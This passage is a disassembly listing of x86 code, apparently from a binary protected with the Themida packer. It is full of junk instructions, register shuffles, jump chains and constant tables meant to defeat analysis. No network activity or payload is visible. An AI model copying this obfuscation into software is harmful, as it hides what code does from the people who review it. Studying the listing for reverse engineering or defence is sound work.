sub_581EE9+8E13j push 3A38h mov [esp-6EE0h+arg_6ED6+2], edi jmp loc_58B5C5 ; --------------------------------------------------------------------------- loc_59163B: ; CODE XREF: sub_581EE9+A0EFj add eax, esi pop esi jmp loc_58C415 ; --------------------------------------------------------------------------- loc_591643: ; CODE XREF: sub_581EE9+6ECEj mov ecx, 735C0FEBh push ebp push 264216B7h jmp loc_589A7F ; --------------------------------------------------------------------------- loc_591653: ; CODE XREF: sub_581EE9+B486j xor esi, [esp-6EACh+arg_6EA4] jmp loc_587767 ; --------------------------------------------------------------------------- loc_59165B: ; CODE XREF: sub_581EE9+FC1Cj pop esp jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_591661: ; CODE XREF: sub_581EE9+966Aj sub bh, 3Eh sub bh, cl add bh, 3Eh pop cx and bh, 2 and bh, 97h add bh, 18h shl bh, 7 jmp loc_587034 ; --------------------------------------------------------------------------- loc_59167C: ; CODE XREF: sub_581EE9+406Ej add ax, di pop edi xor bp, ax jmp loc_58DE11 ; --------------------------------------------------------------------------- loc_591688: ; CODE XREF: sub_581EE9+EFC2j pop [esp-6EC6h+arg_6EBE] pop esp ror byte ptr [esp-6ECEh+arg_6EC6], cl pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_591695: ; CODE XREF: sub_581EE9+55C9j mov edi, [esp-6EC2h+arg_6EBA] add esp, 4 jmp loc_58E9DD ; --------------------------------------------------------------------------- loc_5916A0: ; CODE XREF: sub_581EE9+F520j mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_58EF53 ; --------------------------------------------------------------------------- loc_5916B3: ; CODE XREF: sub_581EE9+5B83j not ecx xchg ecx, esi jmp loc_59035F ; --------------------------------------------------------------------------- loc_5916BC: ; CODE XREF: sub_581EE9+C668j pop ecx add esp, 4 add edx, edi mov ecx, [edx] jmp loc_58C0AA ; --------------------------------------------------------------------------- loc_5916CC: ; CODE XREF: sub_581EE9+E773j mov ebp, ebx push ecx push ebp xor [esp-6EB6h+arg_6EAC+2], 1417085Ah pop ecx jmp loc_590588 ; --------------------------------------------------------------------------- loc_5916DD: ; CODE XREF: sub_581EE9+BEC6j pop edx jmp loc_590501 ; --------------------------------------------------------------------------- loc_5916E3: ; CODE XREF: sub_581EE9+64AEj add ebp, 7800073Bh add ebp, edi jmp loc_587D48 ; --------------------------------------------------------------------------- loc_5916F0: ; CODE XREF: sub_581EE9+70FEj mov ecx, 60746A98h mov edx, ecx pop ecx dec edx push esi push ebp push 13E41D93h pop ebp xor ebp, 59A96180h xor ebp, 6F6D5903h mov esi, ebp pop ebp shl esi, 2 push esi not [esp-6EEAh+arg_6EE0+2] pop esi add esi, 965BAC9Bh and edx, esi pop esi push edi mov edi, 5A9731CCh inc edi inc edi xchg ebx, edi not ebx xor edi, ebx xor ebx, edi xor edi, ebx push ebx jmp loc_589ED1 ; --------------------------------------------------------------------------- loc_591739: ; CODE XREF: sub_581EE9+D98Bj or eax, eax jz loc_588AD4 push dword ptr [edi+1Ch] mov ecx, [esp-6ED8h+arg_6ECE+2] push eax jmp loc_589331 ; --------------------------------------------------------------------------- loc_59174D: ; CODE XREF: sub_581EE9+704Cj pop ebx jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_591753: ; CODE XREF: sub_581EE9+8676j mov fs:[edx], al jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_59175B: ; CODE XREF: sub_581EE9+BE47j add esi, ebp sub esi, 77BA4BCCh pop ebp xchg esi, [esp-6EECh+arg_6EE4] mov esp, [esp-6EECh+arg_6EE4] jmp loc_58F4B5 ; --------------------------------------------------------------------------- loc_59176F: ; CODE XREF: sub_581EE9+D81Ej mov ebp, esp push esi mov esi, 4 add ebp, esi pop esi push ecx push edi jmp loc_588E69 ; --------------------------------------------------------------------------- loc_591781: ; CODE XREF: sub_581EE9+E782j add al, 3Fh push ebx mov bh, 3Eh shl bh, 7 push ebp jmp loc_58DF2A ; --------------------------------------------------------------------------- loc_59178F: ; CODE XREF: sub_581EE9+8DC7j mov [esp-6EC2h+arg_6EBA], eax mov eax, 642034F0h inc eax xchg eax, esi not esi xchg eax, esi jmp loc_586D0C ; --------------------------------------------------------------------------- loc_5917A1: ; CODE XREF: sub_581EE9+422Ej add esp, 4 jmp loc_58CE80 ; --------------------------------------------------------------------------- loc_5917AC: ; CODE XREF: sub_581EE9+7DECj sub esi, 481B71DAh add esi, 4B3414DEh add ebx, esi mov esi, [esp-6EEEh+arg_6EE4+2] jmp loc_58A839 ; --------------------------------------------------------------------------- loc_5917C2: ; CODE XREF: sub_581EE9+E6E3j push esp mov esi, [esp-6ED6h+arg_6ECE] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_58CA30 ; --------------------------------------------------------------------------- loc_5917D7: ; CODE XREF: sub_581EE9+A2E9j pop [esp-6EDCh+arg_6ED2+2] mov esp, [esp-6EE0h+arg_6ED6+2] mov [esp-6EE0h+arg_6ED6+2], eax jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_5917E5: ; CODE XREF: sub_581EE9+F36Aj sub ebx, esi jmp loc_585F0D ; --------------------------------------------------------------------------- loc_5917EC: ; CODE XREF: sub_581EE9+8D4Bj push ebx mov ebx, 4 add ecx, ebx pop ebx xchg ecx, [esp-6EDAh+arg_6ED2] mov esp, [esp-6EDAh+arg_6ED2] add [esp-6EDAh+arg_6ED6], ecx mov ecx, [esp-6EDAh+arg_6ED2] add esp, 4 jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_59180D: ; CODE XREF: sub_581EE9+5F28j mov ebp, 20735EE3h jmp loc_58AE5B ; --------------------------------------------------------------------------- loc_591817: ; CODE XREF: sub_581EE9+C25Aj sub esp, 4 jmp loc_58B93C ; --------------------------------------------------------------------------- loc_591822: ; CODE XREF: sub_581EE9+4B2Dj pop esp mov [esp-6EC2h+arg_6EBA], ecx mov ch, 0C5h sub dh, ch jmp loc_58F5B7 ; --------------------------------------------------------------------------- loc_59182F: ; CODE XREF: sub_581EE9+8114j mov dh, cl mov al, dh pop edx mov ecx, [esp-6ECEh+arg_6EC6] jmp loc_590077 ; --------------------------------------------------------------------------- loc_59183C: ; CODE XREF: sub_581EE9+B58Ej add edx, esi pop esi xor edx, [esp-6EB4h+arg_6EAC] jmp loc_5907CD ; --------------------------------------------------------------------------- loc_591847: ; CODE XREF: sub_581EE9+7122j push 2Ch pop edx jmp loc_58FB62 ; --------------------------------------------------------------------------- loc_591852: ; CODE XREF: sub_581EE9+DB60j mov ecx, [esp-6EF6h+arg_6EEC+2] push esi mov esi, esp add esi, 4 push eax mov eax, 4 add esi, eax pop eax xchg esi, [esp-6EF2h+arg_6EE8+2] jmp loc_587E78 ; --------------------------------------------------------------------------- loc_59186F: ; CODE XREF: sub_581EE9+A7D5j push ecx mov ecx, 38F311E8h or ebp, ecx mov ecx, [esp-6E88h+arg_6E80] add esp, 4 and ebp, 27CB5064h jmp loc_58CD3F ; --------------------------------------------------------------------------- loc_59188B: ; CODE XREF: sub_581EE9+6F7Bj mov eax, 1D75507Dh jmp loc_58C092 ; --------------------------------------------------------------------------- loc_591895: ; CODE XREF: sub_581EE9+DAE8j mov ecx, esp push ebx mov ebx, 7654635Ch or ebx, 2F273E5Ch sub ebx, 0FFFFFFFFh or ebx, 0AB10BDCh neg ebx jmp loc_591A1A ; --------------------------------------------------------------------------- loc_5918B3: ; CODE XREF: sub_581EE9+546Cj xchg ebx, [esp-6EE6h+arg_6EDC+2] pop esp jmp loc_58AF78 ; --------------------------------------------------------------------------- loc_5918BC: ; CODE XREF: sub_581EE9+D5B7j not bl jmp loc_58789A ; --------------------------------------------------------------------------- loc_5918C3: ; CODE XREF: sub_581EE9+AB61j mov ebx, [esp-6EB6h+arg_6EAC+2] add esp, 4 push ebx push edx mov edx, 7C340CA4h mov ebx, edx pop edx add ebx, 2905B28h not ebx xor ebx, 54653EA5h sub ebx, 7B8978CAh shl ebx, 7 sub ebx, 0EA96E5FCh jmp loc_587C43 ; --------------------------------------------------------------------------- loc_5918F8: ; CODE XREF: sub_581EE9+BC0Ej pop edx and eax, ebx jmp loc_58FC30 ; --------------------------------------------------------------------------- loc_591900: ; CODE XREF: sub_581EE9+AD39j pop esp jmp loc_588458 ; --------------------------------------------------------------------------- loc_591906: ; CODE XREF: sub_581EE9+DC21j mov edi, esp jmp loc_58953E ; --------------------------------------------------------------------------- loc_59190D: ; CODE XREF: sub_581EE9+86FBj add ebp, 0C7A02D09h add esi, 15D60C77h jmp loc_586C4F ; --------------------------------------------------------------------------- loc_59191E: ; CODE XREF: sub_581EE9+4C0Ej shr ecx, 2 jmp loc_58A9D6 ; --------------------------------------------------------------------------- loc_591926: ; CODE XREF: sub_581EE9+C1EFj pop edi pop eax sub edi, 72131354h sub edi, ecx add edi, 72131354h jmp loc_58B7DF ; --------------------------------------------------------------------------- loc_59193B: ; CODE XREF: sub_581EE9+9CA2j push dword ptr [ebx] jmp loc_5908F9 ; --------------------------------------------------------------------------- loc_591942: ; CODE XREF: sub_581EE9+BA28j add eax, 1353D63h push esi mov esi, 77F7628Ch jmp loc_5913EE ; --------------------------------------------------------------------------- loc_591952: ; CODE XREF: sub_581EE9+E71Fj mov edx, [esp] add esp, 4 push 4235h mov [esp], edx push esp pop edx sub esp, 4 mov [esp-6EDEh+arg_6ED6], ebp push edi jmp loc_58E765 ; --------------------------------------------------------------------------- loc_591974: ; CODE XREF: sub_581EE9+74B9j sub edx, ebp pop ebp and eax, edx push [esp-6EB6h+arg_6EAC+2] pop edx jmp loc_58E3E1 ; --------------------------------------------------------------------------- loc_591982: ; CODE XREF: sub_581EE9+C2C9j mov ebx, [esp-6EEAh+arg_6EE0+2] add esp, 4 push eax jmp loc_590D98 ; --------------------------------------------------------------------------- loc_591991: ; CODE XREF: sub_581EE9+4695j shr eax, 8 jmp loc_5860CA ; --------------------------------------------------------------------------- loc_591999: ; CODE XREF: sub_581EE9+75E3j add ebx, 4 add ebx, 4 xchg ebx, [esp-6ECEh+arg_6EC6] pop esp push eax mov eax, esp push ecx mov ecx, 68290848h not ecx inc ecx shl ecx, 1 sub ecx, 2FADEF6Ch add eax, ecx pop ecx add eax, 4 xchg eax, [esp-6ECEh+arg_6EC6] pop esp shr ecx, 0 or eax, eax jz loc_58FA31 push ebx jmp loc_58DFF7 ; --------------------------------------------------------------------------- loc_5919D8: ; CODE XREF: sub_581EE9+85F3j neg ebx shr ebx, 6 add ebx, 7A1D05DAh dec ebx sub ebx, 7E093D34h add eax, ebx pop ebx jmp loc_58BC38 ; --------------------------------------------------------------------------- loc_5919F2: ; CODE XREF: sub_581EE9+9F3Dj mov ebx, [esp-6EDAh+arg_6ED2] add esp, 4 push [esp-6EDEh+arg_6ED6] pop eax add esp, 4 push 661Dh mov [esp-6EDEh+arg_6ED6], ecx push esi jmp loc_58BD31 ; --------------------------------------------------------------------------- loc_591A13: ; CODE XREF: sub_581EE9+69E0j mov ebx, esp jmp loc_58D109 ; --------------------------------------------------------------------------- loc_591A1A: ; CODE XREF: sub_581EE9+F9C5j xor ebx, 80088027h add ecx, 435769E2h add ecx, ebx sub ecx, 435769E2h pop ebx add ecx, 4 xchg ecx, [esp-6EC8h+arg_6EBE+2] mov esp, [esp-6EC8h+arg_6EBE+2] jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_591A40: ; CODE XREF: sub_581EE9+F0F0j push edi mov edi, esp add edi, 4 push esi mov esi, 4 add edi, 2A7C6C5Bh add edi, esi sub edi, 2A7C6C5Bh pop esi push edi push [esp-6EC0h+arg_6EBA+2] jmp loc_58D06A ; --------------------------------------------------------------------------- loc_591A68: ; CODE XREF: sub_581EE9+E1E7j mov [esp-6EDEh+arg_6ED6], ebp mov ebp, 1 and eax, ebp push [esp-6EDEh+arg_6ED6] pop ebp push edi mov edi, esp push ebp push 4 pop ebp sub edi, 0A561079h add edi, ebp push esi mov esi, 104F445Ch jmp loc_589BD5 ; --------------------------------------------------------------------------- loc_591A93: ; CODE XREF: sub_581EE9+993Cj add esp, 4 push edx mov edx, 77075CD5h shl edx, 2 push 4CF2h mov [esp-6EE6h+arg_6EDC+2], esi jmp loc_58F7D1 ; --------------------------------------------------------------------------- loc_591AAF: ; CODE XREF: sub_581EE9+95BCj pop eax sub esp, 4 jmp loc_588FEC ; --------------------------------------------------------------------------- loc_591AB8: ; CODE XREF: sub_581EE9+E0B3j xor edi, [esp-6EEEh+arg_6EE4+2] xor [esp-6EEEh+arg_6EE4+2], edi jmp loc_590731 ; --------------------------------------------------------------------------- loc_591AC3: ; CODE XREF: sub_581EE9+447Bj push ebx mov ebx, 420861EFh sub edi, ebx pop ebx pop edx jmp loc_58844B ; --------------------------------------------------------------------------- loc_591AD2: ; CODE XREF: sub_581EE9+84A2j mov ecx, [esp-6EEEh+arg_6EE4+2] jmp loc_5874F3 ; --------------------------------------------------------------------------- loc_591ADA: ; CODE XREF: sub_581EE9+E409j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp-6EC6h+arg_6EBE] pop esp jmp loc_590D13 ; --------------------------------------------------------------------------- loc_591AF1: ; CODE XREF: sub_581EE9+64C1j add edx, 4 add edx, 4 xchg edx, [esp-6EA8h+arg_6E9E+2] jmp loc_590248 ; --------------------------------------------------------------------------- loc_591B02: ; CODE XREF: sub_581EE9+5C47j xchg ebx, [esp-6EC0h+arg_6EB6+2] jmp loc_59165B ; --------------------------------------------------------------------------- loc_591B0A: ; CODE XREF: sub_581EE9+EC61j mov ecx, [esp-6EC2h+arg_6EBA] jmp loc_58B0E1 ; --------------------------------------------------------------------------- loc_591B12: ; CODE XREF: sub_581EE9+7D0Dj xchg ebx, [esp-6ED8h+arg_6ECE+2] mov esp, [esp-6ED8h+arg_6ECE+2] sub edx, 77914FA9h push ebx jmp loc_58CBE0 ; --------------------------------------------------------------------------- loc_591B24: ; CODE XREF: sub_581EE9+A35Cj mov esi, 5EE33DF6h xor ecx, esi jmp loc_588765 ; --------------------------------------------------------------------------- loc_591B30: ; CODE XREF: sub_581EE9+8586j xor edx, 6EC7404Eh mov edi, edx pop edx jmp loc_58D18F ; --------------------------------------------------------------------------- loc_591B3E: ; CODE XREF: sub_581EE9+A627j mov esi, [esp-6EC4h+arg_6EBA+2] jmp loc_58C988 ; --------------------------------------------------------------------------- loc_591B46: ; CODE XREF: sub_581EE9+C698j add esi, 4 xor esi, [esp-6EBCh+arg_6EB2+2] xor [esp-6EBCh+arg_6EB2+2], esi xor esi, [esp-6EBCh+arg_6EB2+2] jmp loc_58CB0E ; --------------------------------------------------------------------------- loc_591B5A: ; CODE XREF: sub_581EE9+CD38j push ebx push edx mov dh, 7Eh jmp loc_5868F8 ; --------------------------------------------------------------------------- loc_591B63: ; CODE XREF: sub_581EE9+AA15j pop cx sub al, 21h add al, 92h add al, 4Eh jmp loc_58BBB5 ; --------------------------------------------------------------------------- loc_591B70: ; CODE XREF: sub_581EE9+4264j jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_591B75: ; CODE XREF: sub_581EE9+849Aj add edi, 0A38E6760h jmp loc_589A8D ; --------------------------------------------------------------------------- loc_591B80: ; CODE XREF: sub_581EE9+59C7j push esi mov esi, 5C3B2E3Bh inc esi push ecx mov ecx, 4084397h add ecx, 783F2A76h add ecx, 0DFF3C02Bh xor esi, ecx pop ecx sub ecx, esi pop esi push ecx push [esp-6F0Ah+arg_6F06] jmp loc_58E21A ; --------------------------------------------------------------------------- loc_591BA9: ; CODE XREF: sub_581EE9+4D27j add eax, edx push ecx mov ecx, 440F311Dh neg ecx or ecx, 503A5481h jmp loc_586DC8 ; --------------------------------------------------------------------------- loc_591BBE: ; CODE XREF: sub_581EE9+CB0Fj push 147Dh mov [esp-6ED8h+arg_6ECE+2], esp add [esp-6ED8h+arg_6ECE+2], 4 pop esi sub esp, 4 mov [esp-6ED8h+arg_6ECE+2], eax mov eax, 29EF6C68h xor eax, 7E4A2050h and eax, 64B13DCh sub eax, 96868F0h jmp loc_58A02C ; --------------------------------------------------------------------------- loc_591BF0: ; CODE XREF: sub_581EE9+A1C5j mov edx, esp add edx, 4 add edx, 4 jmp loc_58618F ; --------------------------------------------------------------------------- loc_591C00: ; CODE XREF: sub_581EE9+DD87j add eax, 49576DE5h jmp loc_58EDB1 ; --------------------------------------------------------------------------- loc_591C0A: ; CODE XREF: sub_581EE9+846Fj mov ebx, 198B566Fh mov eax, ebx pop ebx jmp loc_587292 ; --------------------------------------------------------------------------- loc_591C17: ; CODE XREF: sub_581EE9+A289j pop esi xchg edx, [esp-6EDAh+arg_6ED2] pop esp or eax, eax jz loc_58F090 push dword ptr [edi+1Ch] push esi push ebx push ecx mov ecx, 14AB78F2h mov ebx, 277E02DCh xor ebx, ecx pop ecx mov esi, ebx jmp loc_58FEFD ; --------------------------------------------------------------------------- loc_591C3E: ; CODE XREF: sub_581EE9+A364j xor cl, 0Ch sub dh, cl pop ecx jmp loc_588416 ; --------------------------------------------------------------------------- db 4Ch, 0FFh, 12h dd 5EC81100h, 43DB9C00h, 5ED39CFAh, 5EC1F400h, 90EB9400h dd 0AC1B7Ch, 20700h, 200h, 100h, 0 dd 43DB9C00h, 0FAh, 4 dup(0) dd 59425F00h, 59DB9200h, 5A1AC900h, 595EE200h, 59D29C00h dd 598B9300h, 59FA9C00h, 5944E300h, 59471600h, 59357000h dd 59328300h, 5A33A600h, 5A428200h, 5964C600h, 59F70700h dd 5939A700h, 59432D00h, 5A574800h, 5A35FC00h, 5981F500h dd 5A0E1000h, 5996D600h, 59EB2700h, 59403800h, 59E11900h dd 5A6F5600h, 5A419A00h, 598EE300h, 59ACD300h, 59E59700h dd 5A4F8700h, 5A395B00h, 5A49D700h, 5995FD00h, 5A458500h dd 5A5CE200h, 5A66AF00h, 5A668300h, 5A4EFA00h, 59826000h dd 5926B200h, 5A59EA00h, 5A1D3500h, 59756E00h, 59956100h dd 59298900h, 5947EA00h, 5A3EF800h, 59BA8300h, 5A17C100h dd 59597F00h, 59657000h, 59875100h, 59222700h, 59C60600h dd 59419900h, 5981BD00h, 5A6D9300h, 5A31BD00h, 5964B400h dd 593C1D00h, 5A36AB00h, 59473300h, 5980FE00h, 599D1A00h dd 598FD500h, 5A084500h, 59EF5B00h, 59B48F00h, 59938100h dd 59CAE000h, 593A1F00h, 5947D800h, 5A101800h, 59EEF700h dd 593EA700h, 59CD1F00h, 59506000h, 5A5BA200h, 5A505300h dd 5A354500h, 59568300h, 59347100h, 5A493500h, 59548C00h dd 5A006900h, 59338500h, 59861900h, 59389700h, 59470000h dd 59958300h, 59F6FD00h, 59E07100h, 599E3600h, 597B5B00h dd 59D9CC00h, 59ECE700h, 59F32100h, 59D65100h, 5978A300h dd 5952FF00h, 59CFE800h, 596D5200h, 5A021700h, 5A6FB800h dd 5932FE00h, 59238500h, 5A656800h, 599B4300h, 594A2500h dd 5982E700h, 5A65FA00h, 5A607D00h, 59D00400h, 597C3900h dd 59534500h, 5970F800h, 59D49200h, 593EF900h, 59D68300h dd 59F6D200h, 5982FE00h, 5A081300h, 59626A00h, 5A583200h dd 5A107200h, 594B0700h, 592AF000h, 599AAD00h, 59AA0A00h dd 59D51600h, 59202900h, 59E17300h, 5A4AAA00h, 592B5500h dd 59910100h, 5A35EC00h, 5A48A600h, 5A45A900h, 5A4A3800h dd 59977700h, 59F75100h, 59EE4000h, 5961C000h, 59C07200h dd 5A2EDE00h, 5A024200h, 5A4CFD00h, 59268100h, 5A3BA600h dd 59417A00h, 5932EC00h, 59E20700h, 59DB2000h, 59502700h dd 594F9900h, 5A3EE700h, 5A543A00h, 597A0F00h, 59E5A800h dd 5A62D600h, 597D0200h, 599E7400h, 59BD7900h, 5A2D5D00h dd 5A68FE00h, 5A250900h db 0 ; --------------------------------------------------------------------------- loc_591F29: ; CODE XREF: Themida_:005D3AEFj ; Themida_:005D3AF9j ... pusha pushf cld call $+5 pop edi sub edi, 6154395h mov eax, edi add edi, 61540ADh cmp eax, [edi+2Ch] jnz short loc_591F47 jmp short loc_591F5A ; --------------------------------------------------------------------------- loc_591F47: ; CODE XREF: sub_581EE9+1005Aj mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_591F56 ; --------------------------------------------------------------------------- loc_591F51: ; CODE XREF: sub_581EE9+1006Fj add [edi+ecx*4+40h], eax dec ecx loc_591F56: ; CODE XREF: sub_581EE9+10066j or ecx, ecx jnz short loc_591F51 loc_591F5A: ; CODE XREF: sub_581EE9+1005Cj mov esi, [esp-6EB6h+arg_6ED2] mov ebx, esi add esi, eax mov ecx, 1 loc_591F67: ; CODE XREF: sub_581EE9+10085j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_591F67 loc_591F70: ; CODE XREF: sub_581EE9+1065Dj ; sub_581EE9+10665j ... lodsb jmp loc_59D4DA ; --------------------------------------------------------------------------- loc_591F76: ; CODE XREF: sub_581EE9+1CAFDj or eax, eax jz loc_597536 push dword ptr [edi+1Ch] push 4043h mov [esp-6EAEh+arg_6EA4+2], ecx mov ecx, 2DAE5CFDh jmp loc_597CA3 ; --------------------------------------------------------------------------- loc_591F93: ; CODE XREF: sub_581EE9+18148j mov [esp-6EAEh+arg_6EA4+2], edx mov edx, 1 push 2472h mov dword ptr [esp-6EAAh+arg_6EA2], ecx sub esp, 4 jmp loc_5A2671 ; --------------------------------------------------------------------------- loc_591FAB: ; CODE XREF: sub_581EE9+12599j xor ebp, 0EBD567Dh sub esi, ebp pop ebp sub esi, 49E36AF3h mov ecx, dword ptr [esp-6EAAh+arg_6EA2] push edi mov edi, esp add edi, 4 sub esp, 4 mov [esp-6EA2h+arg_6E9A], ebx jmp loc_5975EC ; --------------------------------------------------------------------------- loc_591FD4: ; CODE XREF: sub_581EE9+1F124j xor eax, ecx xor eax, ecx xor ecx, eax xor eax, ecx sub esp, 4 jmp loc_5A587A ; --------------------------------------------------------------------------- loc_591FE7: ; CODE XREF: sub_581EE9+24A8Dj add ebx, 7306C35h add edi, ebx pop ebx push esi jmp loc_5A4F95 ; --------------------------------------------------------------------------- loc_591FF6: ; CODE XREF: sub_581EE9+1779Aj xchg edi, [esp-6E9Eh+arg_6E96] pop esp mov [esp-6EA2h+arg_6E9A], ebx jmp loc_59EE85 ; --------------------------------------------------------------------------- loc_592002: ; CODE XREF: sub_581EE9+1F99Aj mov [esp-6EA2h+arg_6E9A], ebx jmp loc_593C95 ; --------------------------------------------------------------------------- loc_59200A: ; CODE XREF: sub_581EE9+243E8j mov ebx, 66EC4325h and ebx, 5E117983h push edx mov edx, 41A96D30h xor edx, 20B57C90h and ebx, edx pop edx jmp loc_59A3C9 ; --------------------------------------------------------------------------- push [esp-6EA2h+arg_6E9A] mov eax, [esp-6E9Eh+arg_6E96] add esp, 4 sub esp, 4 mov [esp-6E9Eh+arg_6E96], ecx mov ecx, esp push ebx jmp loc_59E52E ; --------------------------------------------------------------------------- loc_592043: ; CODE XREF: sub_581EE9+12845j pop edi add eax, esi push [esp-6E9Eh+arg_6E96] pop esi add esp, 4 add eax, 2 xchg eax, [esp-6EA2h+arg_6E9A] jmp loc_5A3EC7 ; --------------------------------------------------------------------------- loc_59205D: ; CODE XREF: sub_581EE9+1BA66j pop ebx jmp loc_59B855 ; --------------------------------------------------------------------------- loc_592063: ; CODE XREF: sub_581EE9+13EC7j mov bh, 14h push eax jmp loc_5928F2 ; --------------------------------------------------------------------------- loc_59206B: ; CODE XREF: sub_581EE9+129FDj add [esp-6EA2h+arg_6E9E], 10EF5380h jmp loc_59B1F7 ; --------------------------------------------------------------------------- loc_592078: ; CODE XREF: sub_581EE9+11E35j add ecx, 4 push ecx push [esp-6E9Eh+arg_6E9A] pop ecx pop [esp-6E9Eh+arg_6E96] pop esp push [esp-6EA6h+arg_6E9E] jmp loc_5929ED ; --------------------------------------------------------------------------- loc_592090: ; CODE XREF: sub_581EE9+1306Fj add ebx, 4 xchg ebx, [esp-6EA2h+arg_6E9A] jmp loc_59600D ; --------------------------------------------------------------------------- loc_59209B: ; CODE XREF: sub_581EE9+10A83j add eax, esi sub eax, 0A0E777Ch pop esi mov ebp, [esp-6EA6h+arg_6E9E] add esp, 4 jmp loc_597ACE ; --------------------------------------------------------------------------- loc_5920AE: ; CODE XREF: sub_581EE9+18CACj mov edx, 16A11478h xor edx, 0D051FB7h neg edx not edx sub edx, 1BA40BCAh push edx jmp loc_59B02E ; --------------------------------------------------------------------------- loc_5920C9: ; CODE XREF: sub_581EE9+1A83Dj mov esp, [esp-6EA6h+arg_6E9E] imul cx push small 6EF9h mov word ptr [esp-6EA4h+arg_6E9A+2], dx jmp loc_5A1C1D ; --------------------------------------------------------------------------- loc_5920DC: ; CODE XREF: sub_581EE9+24BEDj push 29B6h mov [esp-6EA0h+arg_6E96+2], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp-6EA0h+arg_6E96+2] pop esp sub esi, edx mov edx, [esp-6EA4h+arg_6E9A+2] add esp, 4 push eax mov eax, esp add eax, 4 sub eax, 4 push 757Bh mov [esp-6EA0h+arg_6E96+2], eax push [esp-6EA0h+arg_6E9A+2] pop eax pop [esp-6EA0h+arg_6E96+2] pop esp jmp loc_5A0E37 ; --------------------------------------------------------------------------- loc_59211C: ; CODE XREF: sub_581EE9+155A6j pop eax add dh, 72h xor dh, 23h xor ch, dh mov edx, [esp] add esp, 4 push bx push 762Ch mov dword ptr [esp-6EAAh+arg_6EA2], eax jmp loc_5A7098 ; --------------------------------------------------------------------------- loc_59213A: ; CODE XREF: sub_581EE9+16EB5j pop ecx jmp loc_5A07BC ; --------------------------------------------------------------------------- loc_592140: ; CODE XREF: sub_581EE9+152C1j add ebp, esi mov esi, [esp-6EAEh+arg_6EA4+2] add esp, 4 push ecx jmp loc_597CD2 ; --------------------------------------------------------------------------- loc_59214E: ; CODE XREF: sub_581EE9+11C42j push 2F706EECh push dword ptr [esp-6EAAh+arg_6EA2] pop esi push edi push esp jmp loc_594C8A ; --------------------------------------------------------------------------- loc_59215E: ; CODE XREF: sub_581EE9+19AE4j xor [esp-6EA2h+arg_6E9A], ecx xor ecx, [esp-6EA2h+arg_6E9A] jmp loc_59A9AF ; --------------------------------------------------------------------------- loc_592169: ; CODE XREF: sub_581EE9+1948Dj mov edi, edx pop edx and edi, 3A2F0288h shl edi, 3 push ebp mov ebp, 32517A6Eh sub ebp, 1C45085Eh sub ebp, 5111428Eh or ebp, 67D63493h add ebp, 79720C71h push ebx mov ebx, 1062192Ah sub ebp, 10F33527h sub ebp, ebx add ebp, 10F33527h pop ebx xor edi, ebp pop ebp push ebx push ebp mov ebp, 28D86B0Ah mov ebx, 0D72794F5h add ebx, 1421184h add ebx, ebp sub ebx, 1421184h mov ebp, [esp-6E9Eh+arg_6E96] jmp loc_595581 ; --------------------------------------------------------------------------- loc_5921CD: ; CODE XREF: sub_581EE9+14AD3j and esi, 3C285A39h sub esi, 0B173E771h add ebx, esi pop esi pop small word ptr [eax] jmp loc_59B64A ; --------------------------------------------------------------------------- loc_5921E4: ; CODE XREF: sub_581EE9+14F49j sub ecx, 4 xchg ecx, [esp-6EA4h+arg_6E9A+2] pop esp jmp loc_5A1C51 ; --------------------------------------------------------------------------- loc_5921F3: ; CODE XREF: sub_581EE9+239C8j push [esp-6EA8h+arg_6E9E+2] jmp loc_59652B ; --------------------------------------------------------------------------- loc_5921FB: ; CODE XREF: sub_581EE9+2483Fj sub eax, 4 jmp loc_59B3A0 ; --------------------------------------------------------------------------- loc_592205: ; CODE XREF: sub_581EE9+13306j sub edx, 67C38B5Fh add ecx, edx mov edx, [esp-6EA4h+arg_6E9A+2] add esp, 4 add esi, 49E36AF3h add esi, 730601D3h jmp loc_59446A ; --------------------------------------------------------------------------- movzx ax, byte ptr fs:[edx] jmp loc_596459 ; --------------------------------------------------------------------------- loc_592231: ; CODE XREF: sub_581EE9+19A42j mov edx, esp add edx, 4 jmp loc_59E96A ; --------------------------------------------------------------------------- loc_59223E: ; CODE XREF: sub_581EE9+1BD74j pop esi add esp, 4 push esi sub [esp-6EACh+arg_6EA4], 30CC4D0Dh pop eax jmp loc_596E0F ; --------------------------------------------------------------------------- loc_592253: ; CODE XREF: sub_581EE9+20FF0j pop edx push ebx jmp loc_5931D6 ; --------------------------------------------------------------------------- loc_59225A: ; CODE XREF: sub_581EE9+20474j xchg esi, edx jmp loc_5A6E02 ; --------------------------------------------------------------------------- loc_592261: ; CODE XREF: sub_581EE9+22F29j sub al, 43h mov dh, al jmp loc_59AB4C ; --------------------------------------------------------------------------- loc_59226A: ; CODE XREF: sub_581EE9+24BF6j xchg eax, ecx add eax, 3B770BE4h jmp loc_59AB9A ; --------------------------------------------------------------------------- loc_592275: ; CODE XREF: sub_581EE9+19AB1j shr edi, 1 xor edi, 3DC5100Fh add ebx, edi pop edi xchg ebx, [esp-6EB4h+arg_6EAC] mov esp, [esp-6EB4h+arg_6EAC] push ebp mov ebp, 2 add esi, ebp pop ebp xchg esi, [esp-6EB4h+arg_6EAC] mov esp, [esp-6EB4h+arg_6EAC] mov ax, word ptr [esp-6EB4h+arg_6EAC] sub esp, 4 jmp loc_5A1D59 ; --------------------------------------------------------------------------- loc_5922A1: ; CODE XREF: sub_581EE9+2286Fj pop [esp-6EB0h+arg_6EA8] push [esp-6EB4h+arg_6EAC] pop eax push ecx sub esp, 4 mov [esp-6EACh+arg_6EA4], esp add [esp-6EACh+arg_6EA4], 4 pop ecx push ebx push esi push 326004Dh jmp loc_59A267 ; --------------------------------------------------------------------------- loc_5922C3: ; CODE XREF: sub_581EE9+1B84Aj pop edx neg edx add edx, 548A61AAh jmp loc_5A2AED ; --------------------------------------------------------------------------- loc_5922D1: ; CODE XREF: sub_581EE9+1F834j sub ebx, 10F3166h pop ebp mov esi, ebx mov ebx, 